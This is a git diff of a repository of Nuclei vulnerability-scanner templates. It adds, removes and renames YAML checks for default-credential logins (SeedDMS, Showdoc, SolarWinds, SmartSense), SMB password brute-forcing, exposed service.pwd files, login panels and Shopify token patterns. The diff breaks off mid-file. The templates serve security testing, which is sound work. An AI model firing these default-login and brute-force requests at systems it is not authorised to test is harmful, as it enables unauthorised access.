a/poc/auth/seeddms-default-login-10127.yaml b/poc/auth/seeddms-default-login-10127.yaml deleted file mode 100644 index ee758e2f50..0000000000 --- a/poc/auth/seeddms-default-login-10127.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: seeddms-default-login - -info: - name: SeedDMS Default Login - author: alifathi-h1 - severity: high - description: SeedDMS default admin credentials were discovered. - reference: - - https://www.seeddms.org/index.php?id=2 - - https://www.redhat.com/sysadmin/install-seeddms - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 1 - shodan-query: http.title:"SeedDMS" - tags: default-login,seeddms - -http: - - raw: - - | - POST /op/op.Login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - login={{username}}&pwd={{password}}&lang= - - payloads: - username: - - admin - password: - - admin - attack: pitchfork - - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'Location: /out/out.ViewFolder.php' - - - type: status - status: - - 302 - -# digest: 4a0a00473045022100d82cfee35978bded2a46979183addd6bdf2cfece0b0e74f99e3758371ed99c9a02205f98235f1b798819eb7bac406595359b71b52b7171456eacff757bd9318b8511:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/seeddms-default-login.yaml b/poc/auth/seeddms-default-login.yaml new file mode 100644 index 0000000000..ed3e30f3db --- /dev/null +++ b/poc/auth/seeddms-default-login.yaml @@ -0,0 +1,39 @@ +id: seeddms-default-login +info: + name: SeedDMS Default Login + author: alifathi-h1 + severity: high + description: SeedDMS default admin credentials were discovered. + reference: + - https://www.seeddms.org/index.php?id=2 + - https://www.redhat.com/sysadmin/install-seeddms + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: default-login,seeddms +requests: + - raw: + - | + POST /op/op.Login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + login={{username}}&pwd={{password}}&lang= + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Location: /out/out.ViewFolder.php' + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/sequoiadb-default-login-10152.yaml b/poc/auth/sequoiadb-default-login-10152.yaml index 411f6f3bb6..39348896d3 100644 --- a/poc/auth/sequoiadb-default-login-10152.yaml +++ b/poc/auth/sequoiadb-default-login-10152.yaml @@ -3,13 +3,7 @@ info: name: SequoiaDB Default Login author: dhiyaneshDk severity: high - description: SequoiaDB default admin credentials were discovered. - reference: - - https://www.sequoiadb.com/en/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + description: Searches for default admin credentials for the SequoiaDB application. tags: default-login,sequoiadb requests: - raw: @@ -41,5 +35,3 @@ requests: part: body words: - '{ "errno": 0 }' - -# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/sequoiadb-default-login.yaml b/poc/auth/sequoiadb-default-login.yaml deleted file mode 100644 index 39348896d3..0000000000 --- a/poc/auth/sequoiadb-default-login.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: sequoiadb-default-login -info: - name: SequoiaDB Default Login - author: dhiyaneshDk - severity: high - description: Searches for default admin credentials for the SequoiaDB application. - tags: default-login,sequoiadb -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Accept: */* - X-Requested-With: XMLHttpRequest - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 - SdbLanguage: en - - cmd=login&user={{username}}&passwd={{md5(password)}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: dsl - dsl: - - contains(tolower(all_headers), 'sdbsessionid') - - type: word - part: body - words: - - '{ "errno": 0 }' diff --git a/poc/auth/service-pwd-10178.yaml b/poc/auth/service-pwd-10178.yaml new file mode 100644 index 0000000000..6382f9de19 --- /dev/null +++ b/poc/auth/service-pwd-10178.yaml @@ -0,0 +1,22 @@ +id: service-pwd +info: + name: Service password file + author: pussycat0x + severity: high + description: Searches for sensitive service.pwd file. + reference: + - https://www.exploit-db.com/ghdb/7256 + tags: exposure,listing,service +requests: + - method: GET + path: + - "{{BaseURL}}/_vti_pvt/service.pwd" + matchers-condition: and + matchers: + - type: word + words: + - "# -FrontPage-" + part: body + - type: status + status: + - 200 diff --git a/poc/auth/service-pwd.yaml b/poc/auth/service-pwd.yaml index 6382f9de19..a34e9ea7b2 100644 --- a/poc/auth/service-pwd.yaml +++ b/poc/auth/service-pwd.yaml @@ -1,22 +1,28 @@ id: service-pwd + info: - name: Service password file + name: service.pwd - Sensitive Information Disclosure author: pussycat0x severity: high - description: Searches for sensitive service.pwd file. + description: service.pwd was discovered, which is likely to contain sensitive information. reference: - https://www.exploit-db.com/ghdb/7256 tags: exposure,listing,service + requests: - method: GET path: - "{{BaseURL}}/_vti_pvt/service.pwd" + matchers-condition: and matchers: - type: word words: - "# -FrontPage-" part: body + - type: status status: - 200 + +# Enhanced by mp on 2022/07/21 diff --git a/poc/auth/servicedesk-login-panel-10171.yaml b/poc/auth/servicedesk-login-panel-10171.yaml deleted file mode 100644 index f817621de6..0000000000 --- a/poc/auth/servicedesk-login-panel-10171.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: servicedesk-login-panel -info: - name: Servicedesk Login Panel Detector - author: aashiq - severity: info - description: Searches for ServiceDesk login panels by trying to query the "/servicedesk/customer/user/login" endpoint - tags: servicedesk,confluence,jira,panel,login -requests: - - method: GET - path: - - "{{BaseURL}}/servicedesk/customer/user/login" - - "{{BaseURL}}/servicedesk/customer/portal/10/user/login" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "https://confluence.atlassian.com" diff --git a/poc/auth/servicedesk-login-panel-10173.yaml b/poc/auth/servicedesk-login-panel-10173.yaml new file mode 100644 index 0000000000..709fc5dbc9 --- /dev/null +++ b/poc/auth/servicedesk-login-panel-10173.yaml @@ -0,0 +1,19 @@ +id: servicedesk-login-panel +info: + name: Servicedesk Login Panel Detector + author: aashiq + severity: info + description: Searches for ServiceDesk login panels by trying to query the "/servicedesk/customer/user/login" endpoint + tags: servicedesk,confluence,jira,panel +requests: + - method: GET + path: + - "{{BaseURL}}/servicedesk/customer/user/login" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "https://confluence.atlassian.com" diff --git a/poc/auth/sgp-login-panel-10185.yaml b/poc/auth/sgp-login-panel-10185.yaml deleted file mode 100644 index b608b20d00..0000000000 --- a/poc/auth/sgp-login-panel-10185.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: sgp-login-panel -info: - name: SGP Panel - author: dhiyaneshDK - severity: info - metadata: - shodan-query: http.title:"SGP" - tags: panel,sgp -requests: - - method: GET - path: - - '{{BaseURL}}/accounts/login?next=/admin/' - matchers-condition: and - matchers: - - type: word - words: - - 'SGP' - - type: status - status: - - 200 - extractors: - - type: regex - part: body - group: 1 - regex: - - ">Ver\\. ([0-9.A-Z]+)

" diff --git a/poc/auth/sgp-login-panel-10186.yaml b/poc/auth/sgp-login-panel-10186.yaml index 8d70bb2b08..b608b20d00 100644 --- a/poc/auth/sgp-login-panel-10186.yaml +++ b/poc/auth/sgp-login-panel-10186.yaml @@ -3,8 +3,8 @@ info: name: SGP Panel author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22SGP%22 + metadata: + shodan-query: http.title:"SGP" tags: panel,sgp requests: - method: GET diff --git a/poc/auth/shopify-custom-token-10198.yaml b/poc/auth/shopify-custom-token-10198.yaml deleted file mode 100644 index b4ef9d4c53..0000000000 --- a/poc/auth/shopify-custom-token-10198.yaml +++ /dev/null @@ -1,13 +0,0 @@ -id: shopify-custom-token -info: - name: Shopify Custom App Access Token - author: gaurang - severity: high - tags: token,file -file: - - extensions: - - all - extractors: - - type: regex - regex: - - "shpca_[a-fA-F0-9]{32}" diff --git a/poc/auth/shopify-custom-token(1).yaml b/poc/auth/shopify-custom-token-11860.yaml similarity index 100% rename from poc/auth/shopify-custom-token(1).yaml rename to poc/auth/shopify-custom-token-11860.yaml diff --git a/poc/auth/shopify-private-token-11861.yaml b/poc/auth/shopify-private-token(1).yaml similarity index 100% rename from poc/auth/shopify-private-token-11861.yaml rename to poc/auth/shopify-private-token(1).yaml diff --git a/poc/auth/shopify-shared-secret.yaml b/poc/auth/shopify-shared-secret.yaml index 333dafc51a..5385f63e94 100644 --- a/poc/auth/shopify-shared-secret.yaml +++ b/poc/auth/shopify-shared-secret.yaml @@ -1,4 +1,5 @@ id: shopify-shared-secret + info: name: Shopify Shared Secret author: gaurang @@ -7,7 +8,10 @@ info: file: - extensions: - all + extractors: - type: regex regex: - "shpss_[a-fA-F0-9]{32}" + +# digest: 4a0a0047304502210099566422ba346d7c088c966e201131b5203ac2ca9536c433af790ce2b9bb890802207465a09fc96c5071e43e45f32e684d5b0661775fc6072619e0e7c6a5175c013c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/shopify-token-11863.yaml b/poc/auth/shopify-token(1).yaml similarity index 100% rename from poc/auth/shopify-token-11863.yaml rename to poc/auth/shopify-token(1).yaml diff --git a/poc/auth/shoppable-token-10206.yaml b/poc/auth/shoppable-token-10206.yaml index 12883090dd..f76dcc0f2d 100644 --- a/poc/auth/shoppable-token-10206.yaml +++ b/poc/auth/shoppable-token-10206.yaml @@ -4,7 +4,8 @@ info: name: Shoppable Service Auth Token author: philippedelteil severity: unknown - reference: https://ask.shoppable.com/knowledge/quick-start-api-guide + reference: + - https://ask.shoppable.com/knowledge/quick-start-api-guide tags: exposure,shoppable,token,auth,service requests: diff --git a/poc/auth/shoppable-token.yaml b/poc/auth/shoppable-token.yaml deleted file mode 100644 index f76dcc0f2d..0000000000 --- a/poc/auth/shoppable-token.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: shoppable-token - -info: - name: Shoppable Service Auth Token - author: philippedelteil - severity: unknown - reference: - - https://ask.shoppable.com/knowledge/quick-start-api-guide - tags: exposure,shoppable,token,auth,service - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: word - part: body - words: - - data-shoppable-auth-token diff --git a/poc/auth/showdoc-default-login-10219.yaml b/poc/auth/showdoc-default-login-10219.yaml new file mode 100644 index 0000000000..16c61b3c47 --- /dev/null +++ b/poc/auth/showdoc-default-login-10219.yaml @@ -0,0 +1,46 @@ +id: showdoc-default-login + +info: + name: Showdoc Default Login + author: pikpikcu + severity: medium + description: Showdoc default credentials were discovered. + reference: + - https://blog.star7th.com/2016/05/2007.html + tags: showdoc,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /server/index.php?s=/api/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded;charset=UTF-8 + + username={{username}}&password={{password}}&v_code= + + payloads: + username: + - showdoc + password: + - 123456 + attack: pitchfork + + matchers-condition: and + matchers: + + - type: word + words: + - '"username":"showdoc"' + - '"user_token":' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/showdoc-default-login.yaml b/poc/auth/showdoc-default-login.yaml new file mode 100644 index 0000000000..4bf519de51 --- /dev/null +++ b/poc/auth/showdoc-default-login.yaml @@ -0,0 +1,40 @@ +id: showdoc-default-login +info: + name: Showdoc Default Login + author: pikpikcu + severity: medium + description: Showdoc default credentials were discovered. + reference: + - https://blog.star7th.com/2016/05/2007.html + tags: showdoc,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 +requests: + - raw: + - | + POST /server/index.php?s=/api/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded;charset=UTF-8 + + username={{username}}&password={{password}}&v_code= + payloads: + username: + - showdoc + password: + - 123456 + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"username":"showdoc"' + - '"user_token":' + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/auth/showdoc-default-password-10224.yaml b/poc/auth/showdoc-default-password-10224.yaml deleted file mode 100644 index f992f0dac8..0000000000 --- a/poc/auth/showdoc-default-password-10224.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: showdoc-default-password - -info: - name: Showdoc Default Password - author: pikpikcu - severity: medium - reference: | - - https://blog.star7th.com/2016/05/2007.html - tags: showdoc,default-login - -requests: - - method: POST - path: - - "{{BaseURL}}/server/index.php?s=/api/user/login" - body: | - username=showdoc&password=123456&v_code= - - headers: - Content-Type: application/x-www-form-urlencoded;charset=UTF-8 - matchers-condition: and - matchers: - - - type: word - words: - - '"username":"showdoc"' - - '"user_token":' - condition: and - - - type: status - status: - - 200 diff --git a/poc/auth/showdoc-default-password.yaml b/poc/auth/showdoc-default-password.yaml index 0aa889c7ff..589bdc7eea 100644 --- a/poc/auth/showdoc-default-password.yaml +++ b/poc/auth/showdoc-default-password.yaml @@ -7,18 +7,13 @@ info: - https://blog.star7th.com/2016/05/2007.html tags: showdoc,default-login requests: - - payloads: - Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt - attack: sniper - threads: 100 - raw: - - | - POST /server/index.php?s=/api/user/login HTTP/1.1 - Host: {{Subdomains}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Content-Type: application/x-www-form-urlencoded;charset=UTF-8 - - username=showdoc&password=123456&v_code= + - method: POST + path: + - "{{BaseURL}}/server/index.php?s=/api/user/login" + body: | + username=showdoc&password=123456&v_code= + headers: + Content-Type: application/x-www-form-urlencoded;charset=UTF-8 matchers-condition: and matchers: - type: word diff --git a/poc/auth/sitecore-login.yaml b/poc/auth/sitecore-login.yaml index cddb0aa179..51f838eaae 100644 --- a/poc/auth/sitecore-login.yaml +++ b/poc/auth/sitecore-login.yaml @@ -1,32 +1,20 @@ id: sitecore-login - info: - name: Sitecore Login Panel - Detect + name: SiteCore Login author: dhiyaneshDK severity: info - description: Sitecore login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 metadata: - max-request: 1 shodan-query: http.title:"Welcome to Sitecore" tags: panel,sitecore - -http: +requests: - method: GET path: - '{{BaseURL}}/sitecore/login/default.aspx' - matchers-condition: and matchers: - type: word words: - '/sitecore/shell/Themes/Standard/Default/Login.css' - - type: status status: - 200 - -# digest: 4a0a00473045022100f103bb5a35e6141ded70366f9a26c6a8d12038a16f0d76b57f14a6065e324a06022029aaa2351491f1508f659c71c8e98b815d222c496af3291f145c6b9ca7d49505:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/sitefinity-login-10297.yaml b/poc/auth/sitefinity-login-10297.yaml new file mode 100644 index 0000000000..0d146256b9 --- /dev/null +++ b/poc/auth/sitefinity-login-10297.yaml @@ -0,0 +1,23 @@ +id: sitefinity-login +info: + name: Sitefinity Login + author: dhiyaneshDK + severity: info + description: This template identifies the Sitefinity login page. + reference: + - https://www.exploit-db.com/ghdb/6722 + tags: panel,sitefinity +requests: + - method: GET + path: + - '{{BaseURL}}/Sitefinity/Authenticate/SWT' + matchers-condition: and + matchers: + - type: word + words: + - 'Telerik.Sitefinity.Web.UI.UserPreferences' + - type: status + status: + - 200 + +# Enhanced by cs on 2022/02/28 diff --git a/poc/auth/sitefinity-login-10299.yaml b/poc/auth/sitefinity-login-10299.yaml deleted file mode 100644 index a0dc64789c..0000000000 --- a/poc/auth/sitefinity-login-10299.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: sitefinity-login -info: - name: Sitefinity Login - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6722 - tags: panel,sitefinity -requests: - - method: GET - path: - - '{{BaseURL}}/Sitefinity/Authenticate/SWT' - matchers-condition: and - matchers: - - type: word - words: - - 'Telerik.Sitefinity.Web.UI.UserPreferences' - - type: status - status: - - 200 diff --git a/poc/auth/sitefinity-login.yaml b/poc/auth/sitefinity-login.yaml index 0d146256b9..441e824eda 100644 --- a/poc/auth/sitefinity-login.yaml +++ b/poc/auth/sitefinity-login.yaml @@ -1,4 +1,5 @@ id: sitefinity-login + info: name: Sitefinity Login author: dhiyaneshDK @@ -6,18 +7,23 @@ info: description: This template identifies the Sitefinity login page. reference: - https://www.exploit-db.com/ghdb/6722 - tags: panel,sitefinity -requests: + metadata: + max-request: 1 + tags: sitefinity,edb,panel + +http: - method: GET path: - '{{BaseURL}}/Sitefinity/Authenticate/SWT' + matchers-condition: and matchers: - type: word words: - 'Telerik.Sitefinity.Web.UI.UserPreferences' + - type: status status: - 200 -# Enhanced by cs on 2022/02/28 +# digest: 4b0a00483046022100abaac7dde301e7bfbf2c555fdc011dac48f4f07f3f1f9b47bf5353203bd09ad9022100bb9a0ca31438b251f1241420c8c01590ae7fd0dd1fd66a4582aaf834dff972d2:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/siteomat-login-10300.yaml b/poc/auth/siteomat-login-10300.yaml new file mode 100644 index 0000000000..e24172c9a5 --- /dev/null +++ b/poc/auth/siteomat-login-10300.yaml @@ -0,0 +1,19 @@ +id: siteomat-loader +info: + name: Orpak SiteOmat login portals + author: dhiyaneshDK + severity: info + reference: https://www.exploit-db.com/ghdb/6624 + tags: panel +requests: + - method: GET + path: + - '{{BaseURL}}/login.htm' + matchers-condition: and + matchers: + - type: word + words: + - 'SiteOmat Login' + - type: status + status: + - 200 diff --git a/poc/auth/siteomat-login-10301.yaml b/poc/auth/siteomat-login-10301.yaml deleted file mode 100644 index 20854f2b8d..0000000000 --- a/poc/auth/siteomat-login-10301.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: siteomat-loader -info: - name: Orpak SiteOmat login portals - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6624 - tags: panel,siteomat,login -requests: - - method: GET - path: - - '{{BaseURL}}/login.htm' - matchers-condition: and - matchers: - - type: word - words: - - 'SiteOmat Login' - - type: status - status: - - 200 diff --git a/poc/auth/siteomat-login-10303.yaml b/poc/auth/siteomat-login-10303.yaml index de5e63a8ba..20854f2b8d 100644 --- a/poc/auth/siteomat-login-10303.yaml +++ b/poc/auth/siteomat-login-10303.yaml @@ -3,8 +3,7 @@ info: name: Orpak SiteOmat login portals author: dhiyaneshDK severity: info - reference: - - https://www.exploit-db.com/ghdb/6624 + reference: https://www.exploit-db.com/ghdb/6624 tags: panel,siteomat,login requests: - method: GET diff --git a/poc/auth/siteomat-login.yaml b/poc/auth/siteomat-login.yaml index e24172c9a5..82b729e489 100644 --- a/poc/auth/siteomat-login.yaml +++ b/poc/auth/siteomat-login.yaml @@ -1,19 +1,33 @@ id: siteomat-loader + info: - name: Orpak SiteOmat login portals + name: Orpak SiteOmat Login Panel - Detect author: dhiyaneshDK severity: info - reference: https://www.exploit-db.com/ghdb/6624 - tags: panel -requests: + description: Orpak SiteOmat login panel was detected. + reference: + - https://www.exploit-db.com/ghdb/6624 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: siteomat,login,edb,panel + +http: - method: GET path: - '{{BaseURL}}/login.htm' + matchers-condition: and matchers: - type: word words: - 'SiteOmat Login' + - type: status status: - 200 + +# digest: 490a0046304402207c3d7b64b82284a3706b3873bd4ee3d28b4d9d9bcd0a33e34d97e83241eed71602202b9c380d69e374e5a2aac03fd0344a957b75a7354bfdf59836257b3485b5dc71:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/slocum-login-10317.yaml b/poc/auth/slocum-login-10316.yaml similarity index 100% rename from poc/auth/slocum-login-10317.yaml rename to poc/auth/slocum-login-10316.yaml diff --git a/poc/auth/smartsense-default-login-10330.yaml b/poc/auth/smartsense-default-login-10330.yaml index 0bddf7fce8..88bc61e7b6 100644 --- a/poc/auth/smartsense-default-login-10330.yaml +++ b/poc/auth/smartsense-default-login-10330.yaml @@ -1,38 +1,39 @@ id: smartsense-default-login - info: name: HortonWorks SmartSense Default Login author: Techryptic (@Tech) severity: high - description: Default Login of admin:admin on HortonWorks SmartSense application. + description: HortonWorks SmartSense default admin login information was detected. reference: https://docs.cloudera.com/HDPDocuments/SS1/SmartSense-1.2.2/bk_smartsense_admin/content/manual_server_login.html tags: hortonworks,smartsense,default-login - + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: - | GET /apt/v1/context HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - type: word words: - "Set-Cookie: SUPPORTSESSIONID" part: header - - type: word words: - "smartsenseId" - - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/smb-default-creds.yaml b/poc/auth/smb-default-creds.yaml new file mode 100644 index 0000000000..c780d674b0 --- /dev/null +++ b/poc/auth/smb-default-creds.yaml @@ -0,0 +1,48 @@ +id: smb-default-creds + +info: + name: SMB Default Credential - Bruteforce + author: pussycat0x + severity: high + description: | + Attempts to guess username/password combinations over SMB. + reference: + - https://nmap.org/nsedoc/scripts/smb-brute.html + metadata: + verified: true + max-request: 9 + shodan-query: "port:445" + tags: js,network,smb,enum,default,bruteforce + +javascript: + - code: | + var m = require("nuclei/smb"); + var c = new m.SMBClient(); + var response = c.ListShares(Host, Port, User, Pass); + response; + + args: + Host: "{{Host}}" + Port: "445" + User: "{{usernames}}" + Pass: "{{passwords}}" + + attack: clusterbomb + payloads: + usernames: + - 'admin' + - 'administrator' + - 'guest' + passwords: + - 'admin' + - 'password' + - 'guest' + + stop-at-first-match: true + matchers: + - type: dsl + dsl: + - 'response != "[]"' + - 'success == true' + condition: and +# digest: 4a0a00473045022100e4e4c6b26aee87ee4e9049bc95f669a4f5ea3dad6588ce20344199115d43052e0220243f2d99ab65b5b97c603640b1415e81a9b424a03025e820492c47e88a2de49f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/smb-signing-not-required.yaml b/poc/auth/smb-signing-not-required.yaml new file mode 100644 index 0000000000..66e9b13f22 --- /dev/null +++ b/poc/auth/smb-signing-not-required.yaml @@ -0,0 +1,36 @@ +id: smb-signing-not-required + +info: + name: SMB Signing Not Required + author: pussycat0x + severity: medium + description: | + Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server. + reference: + - https://www.tenable.com/plugins/nessus/57608 + - https://nmap.org/nsedoc/scripts/smb2-security-mode.html + metadata: + verified: true + max-request: 1 + shodan-query: port:445 + tags: js,network,smb,enum +javascript: + - code: | + var m = require("nuclei/smb"); + var c = m.SMBClient(); + var response = c.ListSMBv2Metadata(Host, Port, User, Pass); + Export(response); + + args: + Host: "{{Host}}" + Port: "445" + User: "test" + Pass: "test" + + matchers: + - type: word + words: + - '"SigningEnabled": true' + - '"SigningRequired": false' + condition: and +# digest: 490a00463044022049f49fd56a1d77d36b080f98b5db836b76f5d9cc4b8848ee1891876dc8cc33b10220120c94455a412326568ae385e5657e5539e1f5a8ae17274150bd7084ae3daa5b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/solar-log-authbypass-10352.yaml b/poc/auth/solar-log-authbypass-10352.yaml deleted file mode 100644 index 6b4d906250..0000000000 --- a/poc/auth/solar-log-authbypass-10352.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: solar-log-authbypass - -info: - name: Solar-Log 500 2.8.2 - Incorrect Access Control - author: geeknik - severity: high - description: Solar-Log 500 2.8.2 is susceptible to incorrect access control because the web administration server for Solar-Log 500 all versions prior to 2.8.2 Build 52 does not require authentication, which allows arbitrary remote attackers gain administrative privileges by connecting to the server. - reference: - - https://www.exploit-db.com/exploits/49986 - classification: - cwe-id: CWE-284 - metadata: - max-request: 1 - tags: solarlog,auth-bypass,edb - -http: - - method: GET - path: - - "{{BaseURL}}/lan.html" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - "IPC@CHIP" - - - type: word - part: body - words: - - " Solare Datensysteme GmbH" - - "mailto:info@solar-log.com" - condition: and - -# digest: 4a0a00473045022100befc1d4bf898609aed2567951ef9d96923407a7ac74979b6969d38b7e0d2295702200e9232cb6c80aebd34b60aa9dc6af19437484593d9a84e0af8b06fbd584053d4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/solar-log-authbypass.yaml b/poc/auth/solar-log-authbypass.yaml new file mode 100644 index 0000000000..9e66b4dc51 --- /dev/null +++ b/poc/auth/solar-log-authbypass.yaml @@ -0,0 +1,27 @@ +id: solar-log-authbypass +info: + name: Solar-Log 500 2.8.2 - Incorrect Access Control + author: geeknik + severity: high + description: The web administration server for Solar-Log 500 all versions prior to 2.8.2 Build 52 does not require authentication, which allows arbitrary remote attackers gain administrative privileges by connecting to the server + reference: https://www.exploit-db.com/exploits/49986 + tags: solarlog,auth-bypass +requests: + - method: GET + path: + - "{{BaseURL}}/lan.html" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: header + words: + - "IPC@CHIP" + - type: word + part: body + words: + - " Solare Datensysteme GmbH" + - "mailto:info@solar-log.com" + condition: and diff --git a/poc/auth/solarwinds-default-login-10354.yaml b/poc/auth/solarwinds-default-login-10354.yaml index ea489ae260..d155aaf5f0 100644 --- a/poc/auth/solarwinds-default-login-10354.yaml +++ b/poc/auth/solarwinds-default-login-10354.yaml @@ -1,33 +1,40 @@ id: solarwinds-default-admin + info: name: SolarWinds Orion Default Login author: dwisiswant0 severity: high description: SolarWinds Orion default admin credentials were discovered. + tags: solarwinds,default-login reference: - https://github.com/solarwinds/OrionSDK/wiki/REST classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: solarwinds,default-login + # Optional: # POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 # {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} + requests: - raw: - | GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username)}} + - | GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username)}} + payloads: username: - admin attack: pitchfork + matchers-condition: and matchers: - type: word diff --git a/poc/auth/solarwinds-default-login-10355.yaml b/poc/auth/solarwinds-default-login-10355.yaml new file mode 100644 index 0000000000..0b1353395a --- /dev/null +++ b/poc/auth/solarwinds-default-login-10355.yaml @@ -0,0 +1,55 @@ +id: solarwinds-default-admin + +info: + name: SolarWinds Orion Default Login + author: dwisiswant0 + severity: high + description: SolarWinds Orion default admin credentials were discovered. + reference: + - https://github.com/solarwinds/OrionSDK/wiki/REST + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 2 + tags: solarwinds,default-login + +# Optional: +# POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 +# {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} +http: + - raw: + - | + GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + - | + GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + + payloads: + username: + - admin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Content-Type: application/json" + part: header + + - type: regex + regex: + - "(totalRow|result|swi)s(:\\/\\/)?" + - "(Orion\\.|Poller(ID)?)s?" + condition: and + part: body + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100dd1bdb30bf4b1a99b8d4c8bb5bd898e5b502b306813b224242e97ab4423f41310221009e149cd0f02915a3f11b66a75ab7d7175c5d86023da47872d10c5a8049a2105e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/somfy-login.yaml b/poc/auth/somfy-login.yaml index 4a22eded46..5764529adc 100644 --- a/poc/auth/somfy-login.yaml +++ b/poc/auth/somfy-login.yaml @@ -1,18 +1,31 